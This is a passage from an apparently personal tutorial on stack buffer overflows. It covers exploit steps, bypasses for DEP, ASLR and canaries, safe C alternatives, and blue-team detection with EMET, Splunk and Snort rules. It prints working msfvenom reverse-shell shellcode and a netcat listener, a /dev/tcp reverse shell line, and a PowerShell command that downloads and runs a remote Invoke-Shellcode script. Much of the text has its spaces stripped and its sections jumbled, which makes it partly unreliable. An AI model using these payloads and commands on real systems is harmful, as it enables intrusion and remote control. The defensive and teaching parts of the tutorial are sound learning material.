Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

